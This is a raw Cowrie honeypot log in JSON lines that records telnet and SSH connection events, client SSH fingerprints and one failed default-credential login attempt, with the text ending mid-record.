{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51568,"dst_ip":"159.203.135.109","dst_port":23,"session":"a69c390d7b2d","protocol":"telnet","message":"New connection: 23.254.167.244:51568 (159.203.135.109:23) [session: a69c390d7b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:58.642815Z"}
{"eventid":"cowrie.session.closed","duration":35.25364398956299,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:59.539448Z","src_ip":"209.159.146.115","session":"18d1c8b6e14f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.728153705596924,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:00.479548Z","src_ip":"23.254.167.244","session":"a14dadf082bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94251465797424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:00.873359Z","src_ip":"209.159.146.115","session":"811a8f4f01fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.38374853134155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:01.472907Z","src_ip":"23.254.167.244","session":"ee973267257d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.79517912864685,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:01.771954Z","src_ip":"23.254.167.244","session":"4bbd025fa673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52562,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a21fd990e48","protocol":"telnet","message":"New connection: 23.254.167.244:52562 (159.203.135.109:23) [session: 7a21fd990e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:02.194566Z"}
{"eventid":"cowrie.session.closed","duration":32.842140197753906,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:02.510166Z","src_ip":"23.254.167.244","session":"3b87c1230ebd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38700,"dst_ip":"159.203.135.109","dst_port":23,"session":"82e781c2d571","protocol":"telnet","message":"New connection: 209.159.146.115:38700 (159.203.135.109:23) [session: 82e781c2d571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:04.237220Z"}
{"eventid":"cowrie.session.closed","duration":36.194764852523804,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:04.322999Z","src_ip":"23.254.167.244","session":"c8b1e64afdcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58304,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ac1842eea5","protocol":"telnet","message":"New connection: 23.254.167.244:58304 (159.203.135.109:23) [session: 41ac1842eea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:04.357549Z"}
{"eventid":"cowrie.session.closed","duration":2.346194267272949,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:04.540616Z","src_ip":"23.254.167.244","session":"7a21fd990e48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017738819122314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:04.877568Z","src_ip":"209.159.146.115","session":"90ced3b7b61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.875675678253174,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:05.679183Z","src_ip":"185.26.126.47","session":"355b3bbe060b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.906872034072876,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:06.237975Z","src_ip":"23.254.167.244","session":"8fe10942ffd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03000521659851,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:07.108073Z","src_ip":"209.159.146.115","session":"c61893b08d7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35952,"dst_ip":"159.203.135.109","dst_port":23,"session":"924b87ce4615","protocol":"telnet","message":"New connection: 23.254.167.244:35952 (159.203.135.109:23) [session: 924b87ce4615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:07.376877Z"}
{"eventid":"cowrie.session.closed","duration":36.94969344139099,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:08.141959Z","src_ip":"23.254.167.244","session":"eb4bf77330b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36020,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd4486b37c7c","protocol":"telnet","message":"New connection: 23.254.167.244:36020 (159.203.135.109:23) [session: fd4486b37c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:08.470755Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56664,"dst_ip":"159.203.135.109","dst_port":23,"session":"6190188ba076","protocol":"telnet","message":"New connection: 209.159.146.115:56664 (159.203.135.109:23) [session: 6190188ba076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:08.654552Z"}
{"eventid":"cowrie.session.closed","duration":33.39078450202942,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:08.879981Z","src_ip":"209.159.146.115","session":"1ffe6fa3837c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38160,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a0795454d30","protocol":"telnet","message":"New connection: 23.254.167.244:38160 (159.203.135.109:23) [session: 0a0795454d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:08.888982Z"}
{"eventid":"cowrie.session.closed","duration":30.578059911727905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:09.350424Z","src_ip":"23.254.167.244","session":"760d7ba9d3a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.53399062156677,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:09.779951Z","src_ip":"23.254.167.244","session":"031bf05082ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38650,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c2d71d1cff1","protocol":"telnet","message":"New connection: 23.254.167.244:38650 (159.203.135.109:23) [session: 0c2d71d1cff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:10.120915Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37380,"dst_ip":"159.203.135.109","dst_port":23,"session":"944201999d77","protocol":"telnet","message":"New connection: 209.159.146.115:37380 (159.203.135.109:23) [session: 944201999d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:10.852827Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41050,"dst_ip":"159.203.135.109","dst_port":23,"session":"b33c0c65e7ec","protocol":"telnet","message":"New connection: 23.254.167.244:41050 (159.203.135.109:23) [session: b33c0c65e7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:11.404210Z"}
{"eventid":"cowrie.session.closed","duration":38.88433623313904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:11.515543Z","src_ip":"209.159.146.115","session":"dddd675119e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.857178688049316,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:14.201787Z","src_ip":"23.254.167.244","session":"cdf83da80f79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45414,"dst_ip":"159.203.135.109","dst_port":23,"session":"8186e5c44823","protocol":"telnet","message":"New connection: 23.254.167.244:45414 (159.203.135.109:23) [session: 8186e5c44823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:14.777121Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54308,"dst_ip":"159.203.135.109","dst_port":23,"session":"0499d127a498","protocol":"telnet","message":"New connection: 209.159.146.115:54308 (159.203.135.109:23) [session: 0499d127a498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:16.714388Z"}
{"eventid":"cowrie.session.closed","duration":41.62302231788635,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:16.836620Z","src_ip":"209.159.146.115","session":"3f99124c6708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58770,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc741b60a5f","protocol":"telnet","message":"New connection: 209.159.146.115:58770 (159.203.135.109:23) [session: 1fc741b60a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:18.236104Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51676,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc6064b28e6a","protocol":"telnet","message":"New connection: 23.254.167.244:51676 (159.203.135.109:23) [session: bc6064b28e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:18.714765Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34602,"dst_ip":"159.203.135.109","dst_port":23,"session":"37ef75283a05","protocol":"telnet","message":"New connection: 209.159.146.115:34602 (159.203.135.109:23) [session: 37ef75283a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:20.104747Z"}
{"eventid":"cowrie.session.closed","duration":34.45545792579651,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:20.555305Z","src_ip":"23.254.167.244","session":"e30a021dc8e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54012,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8f21c1c4601","protocol":"telnet","message":"New connection: 23.254.167.244:54012 (159.203.135.109:23) [session: e8f21c1c4601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:21.233891Z"}
{"eventid":"cowrie.session.closed","duration":36.01049852371216,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:21.520806Z","src_ip":"23.254.167.244","session":"a9e50026b21e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42834,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9d82566797b","protocol":"telnet","message":"New connection: 209.159.146.115:42834 (159.203.135.109:23) [session: c9d82566797b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:22.585808Z"}
{"eventid":"cowrie.session.closed","duration":34.80971598625183,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:22.811200Z","src_ip":"209.159.146.115","session":"96c31921a520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57716,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b286481904a","protocol":"telnet","message":"New connection: 23.254.167.244:57716 (159.203.135.109:23) [session: 6b286481904a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:23.889089Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34384,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6e9dd0bbd37","protocol":"ssh","message":"New connection: 159.203.92.129:34384 (159.203.135.109:22) [session: a6e9dd0bbd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:24.612450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:24.616971Z","src_ip":"159.203.92.129","session":"a6e9dd0bbd37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:24.621464Z","src_ip":"159.203.92.129","session":"a6e9dd0bbd37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angularjs","password":"angularjs","message":"login attempt [angularjs/angularjs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:24.634958Z","src_ip":"159.203.92.129","session":"a6e9dd0bbd37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:25.641913Z","src_ip":"159.203.92.129","session":"a6e9dd0bbd37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.4820659160614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:25.938758Z","src_ip":"209.159.146.115","session":"3c3fe8e5378b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":32800,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ebf5e63bb68","protocol":"telnet","message":"New connection: 23.254.167.244:32800 (159.203.135.109:23) [session: 8ebf5e63bb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:26.178129Z"}
{"eventid":"cowrie.session.closed","duration":35.29140639305115,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:26.936360Z","src_ip":"209.159.146.115","session":"a0c8fdadaa60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35192,"dst_ip":"159.203.135.109","dst_port":23,"session":"41a0cdf61950","protocol":"telnet","message":"New connection: 23.254.167.244:35192 (159.203.135.109:23) [session: 41a0cdf61950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:28.308687Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40980,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4ad387975cc","protocol":"telnet","message":"New connection: 209.159.146.115:40980 (159.203.135.109:23) [session: e4ad387975cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:28.905412Z"}
{"eventid":"cowrie.session.closed","duration":37.069066762924194,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:29.234793Z","src_ip":"23.254.167.244","session":"824f11b33537","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37492,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8dca63abfa3","protocol":"telnet","message":"New connection: 23.254.167.244:37492 (159.203.135.109:23) [session: a8dca63abfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:30.275432Z"}
{"eventid":"cowrie.session.closed","duration":31.873713970184326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:30.467517Z","src_ip":"23.254.167.244","session":"9753011998dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50364,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e5ff4c9512","protocol":"telnet","message":"New connection: 209.159.146.115:50364 (159.203.135.109:23) [session: d2e5ff4c9512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:30.614422Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37824,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fae9434b17e","protocol":"telnet","message":"New connection: 23.254.167.244:37824 (159.203.135.109:23) [session: 9fae9434b17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:30.636130Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50878,"dst_ip":"159.203.135.109","dst_port":23,"session":"06621c03e33c","protocol":"telnet","message":"New connection: 209.159.146.115:50878 (159.203.135.109:23) [session: 06621c03e33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:30.705827Z"}
{"eventid":"cowrie.session.closed","duration":38.39882254600525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:30.947874Z","src_ip":"209.159.146.115","session":"6a04e5d71a73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81128787994385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:31.006905Z","src_ip":"209.159.146.115","session":"3a478afc70ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53478,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f8635c7b1ae","protocol":"telnet","message":"New connection: 209.159.146.115:53478 (159.203.135.109:23) [session: 2f8635c7b1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:31.142351Z"}
{"eventid":"cowrie.session.closed","duration":39.22689151763916,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:33.025695Z","src_ip":"23.254.167.244","session":"3e6ecacebc44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40992,"dst_ip":"159.203.135.109","dst_port":23,"session":"978cc9a1bb22","protocol":"telnet","message":"New connection: 23.254.167.244:40992 (159.203.135.109:23) [session: 978cc9a1bb22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:33.970202Z"}
{"eventid":"cowrie.session.closed","duration":35.400516986846924,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:34.043213Z","src_ip":"23.254.167.244","session":"a69c390d7b2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54966,"dst_ip":"159.203.135.109","dst_port":23,"session":"3472d57a76c3","protocol":"telnet","message":"New connection: 185.26.126.47:54966 (159.203.135.109:23) [session: 3472d57a76c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:35.527768Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47504,"dst_ip":"159.203.135.109","dst_port":23,"session":"c130aa29e1a5","protocol":"telnet","message":"New connection: 209.159.146.115:47504 (159.203.135.109:23) [session: c130aa29e1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:36.004674Z"}
{"eventid":"cowrie.session.closed","duration":32.30105423927307,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:36.538177Z","src_ip":"209.159.146.115","session":"82e781c2d571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48424,"dst_ip":"159.203.135.109","dst_port":23,"session":"958129a84d91","protocol":"telnet","message":"New connection: 209.159.146.115:48424 (159.203.135.109:23) [session: 958129a84d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:37.354829Z"}
{"eventid":"cowrie.session.closed","duration":33.13565993309021,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:37.493098Z","src_ip":"23.254.167.244","session":"41ac1842eea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54332,"dst_ip":"159.203.135.109","dst_port":23,"session":"f355a9560abb","protocol":"telnet","message":"New connection: 209.159.146.115:54332 (159.203.135.109:23) [session: f355a9560abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:38.289227Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51662,"dst_ip":"159.203.135.109","dst_port":23,"session":"b858d947aa0b","protocol":"telnet","message":"New connection: 23.254.167.244:51662 (159.203.135.109:23) [session: b858d947aa0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:39.514722Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":42510,"dst_ip":"159.203.135.109","dst_port":22,"session":"8734b0f2c8c7","protocol":"ssh","message":"New connection: 186.13.24.118:42510 (159.203.135.109:22) [session: 8734b0f2c8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:40.098210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:40.101723Z","src_ip":"186.13.24.118","session":"8734b0f2c8c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521"